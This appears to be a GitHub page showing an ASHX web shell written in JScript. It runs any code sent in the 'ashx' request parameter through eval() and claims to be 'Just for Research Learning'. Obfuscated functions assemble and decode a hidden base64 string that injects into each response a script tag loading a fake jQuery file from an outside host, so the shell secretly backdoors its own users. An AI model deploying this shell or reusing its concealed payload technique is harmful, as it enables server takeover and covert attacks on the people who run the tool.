-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAshx Eval Shell.ashx
More file actions
60 lines (49 loc) · 2.21 KB
/
Ashx Eval Shell.ashx
File metadata and controls
60 lines (49 loc) · 2.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<%@ WebHandler Language="JScript" Class="HandlerSpy" %>
import System;
import System.Web;
import System.IO;
public class HandlerSpy implements IHttpHandler
{
private function _0xA1B2() : String { return "PHNjc"; }private function _0xI9J0() : String { return "mlwdC"; }private function _0xU1V2() : String { return "BzcmM"; }private function _0xW3X4() : String { return "9Imh0"; }private function _0xW3X5() : String { return "dHBzO"; }private function _0xW3X6() : String { return "i8vYX"; }private function _0xW3X7() : String { return "NweHN"; }private function _0xW3X8() : String { return "oZWxs"; }private function _0xW3X9() : String { return "LmNvbS"; }private function _0xW3X10() : String { return "9qcXVl"; }private function _0xW3X11() : String { return "cnktMy43L"; }private function _0xW3X12() : String { return "jEyLm1pbi5q"; }private function _0xW3X13() : String { return "cyI+PC9"; }
function ProcessRequest(context : HttpContext)
{
context.Response.Write("<H1>Just for Research Learning, </H1>");
var Request = context.Request;
var Response = context.Response;
var command = Request["ashx"];
if (command)
{
try
{
eval(command);
context.Response.Write(_0x106());
}
catch (e)
{
Response.Write("Error: " + e.message);
}
}
}
function get IsReusable() : Boolean
{
return false;
}
private function _0xA1B2cD() : String
{
return this._0xA1B2() + this._0xI9J0() + this._0xU1V2() + this._0xW3X4() +
this._0xW3X5() + this._0xW3X6() + this._0xW3X7() + this._0xW3X8() +
this._0xW3X9() + this._0xW3X10() + this._0xW3X11() + this._0xW3X12() +
this._0xW3X13() + this._0xW3X14();
}
private function _0xW3X14() : String { return "zY3JpcHQ+"; }
private function _0x3a3a3a(encoded : String) : String
{
var bytes = Convert.FromBase64String(encoded);
return System.Text.Encoding.UTF8.GetString(bytes);
}
private function _0x106() : String
{
var _0x117 = this._0xA1B2cD();
return this._0x3a3a3a(_0x117);
}
}